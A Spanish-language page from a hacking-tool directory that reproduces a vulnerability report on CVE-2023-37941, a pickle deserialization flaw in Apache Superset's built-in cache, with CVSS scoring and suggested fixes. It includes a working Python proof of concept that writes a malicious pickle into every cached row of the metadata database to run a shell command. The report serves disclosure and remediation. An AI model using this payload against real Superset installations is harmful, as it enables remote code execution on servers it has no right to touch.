Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-37941 — Explotación de la caché predeterminada de superset mediante pickle | Kitploit
Herramientas/GitHubGitHub/barroqueiro/cve-2023-37941
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubbarroqueiro/cve-2023-37941

CVE-2023-37941

Explotación de la caché predeterminada de superset mediante pickle

Ver Repositorio
12hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Explotación de Pickle RCE en la caché predeterminada de Superset

Información

root@kitploit:~
[ Autor ] Dinis Cruz
[ Proyecto ] Superset

Descripción

Apache Superset presenta diferentes opciones para el almacenamiento en caché, todas basadas en Flask-Caching. Se proporciona una caché incorporada que serializa valores para su posterior recuperación. Esta serialización y recuperación se realizan utilizando Pickle, lo que permite la deserialización de objetos de Python y, por lo tanto, la ejecución de código.

La caché incorporada escribe información dentro de la base de datos de metadatos, lo que significa que un atacante con acceso a esta base de datos puede escalar sus privilegios y obtener acceso remoto a la máquina/contenedor que sirve Superset.

URL [o Componente] Afectado

Clase MetaStoreCache, que utiliza la clase PickleKeyValueCodec para la serialización de información.

Prueba de Concepto (PoC)

Este problema se reprodujo creando primero una instalación limpia de Superset que utilizará la caché incorporada como predeterminada.

Con el conocimiento ya establecido de que se necesita acceso a la base de datos para explotar este problema. Podemos actualizar los valores de todos los valores en caché con el exploit de Pickle. Más tarde, una vez que el valor se devuelva al usuario, el módulo pickle serializará los datos y ejecutará nuestro código. A continuación se muestra una PoC en Python.

root@kitploit:~
import os
import psycopg2
import pickle5 as pickle

class RCE:
    def __reduce__(self):
        cmd = ('touch /tmp/evil.sh')
        return os.system, (cmd,)

def exploit():
    pickled = pickle.dumps(RCE())

    con = psycopg2.connect(
        database="superset",
        user="superset",
        password="superset",
        host="localhost",
        port= '5432'
    )

    cursor = con.cursor()

    cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
    con.commit()

if __name__ == '__main__':
    exploit()

Este script actualiza todos los valores almacenados en caché dentro de la base de datos y, una vez que los datos se devuelven al usuario, se crea un archivo evil.sh dentro del directorio /tmp con fines de demostración.

Usuarios Afectados

Todos los usuarios podrían verse afectados.

CWE

  • CWE-502

Puntuación CVSS

  • Vector de Ataque (AV) - Red (N)
  • Complejidad de Ataque (AC) - Baja (L)
  • Privilegios Requeridos (PR) - Alta (H)
  • Interacción del Usuario (UI) - Ninguna (N)
  • Alcance (S) - Cambiado (C)
  • Confidencialidad (C) - Alta(H)
  • Integridad (I) - Alta(H)
  • Disponibilidad (A) - Alta(H)

Puntuación: 9.1

Solución Sugerida (Remediaciones)

Si bien la solución depende del equipo de Superset. El gran problema radica en el uso de Pickle para la serialización de datos. Por lo que entiendo del commit #23888, se realizó un cambio para eliminar la serialización Pickle de otros componentes, pero este se mantuvo debido a la necesidad de "manejar tipos binarios arbitrarios". La solución más limpia sería cambiar a otro mecanismo de serialización; sin embargo, se podría implementar un unpickler restringido, que no es una solución segura pero posiblemente requeriría menos trabajo al implementarlo.

Requisitos Previos

Acceso a la base de datos de metadatos utilizada por la instalación de Superset.

Herramientas Utilizadas y Configuración Requerida

No se requiere configuración especial, solo un intérprete de Python para generar el payload; la introducción del payload malicioso en la base de datos se puede realizar de varias maneras.

Descargar herramienta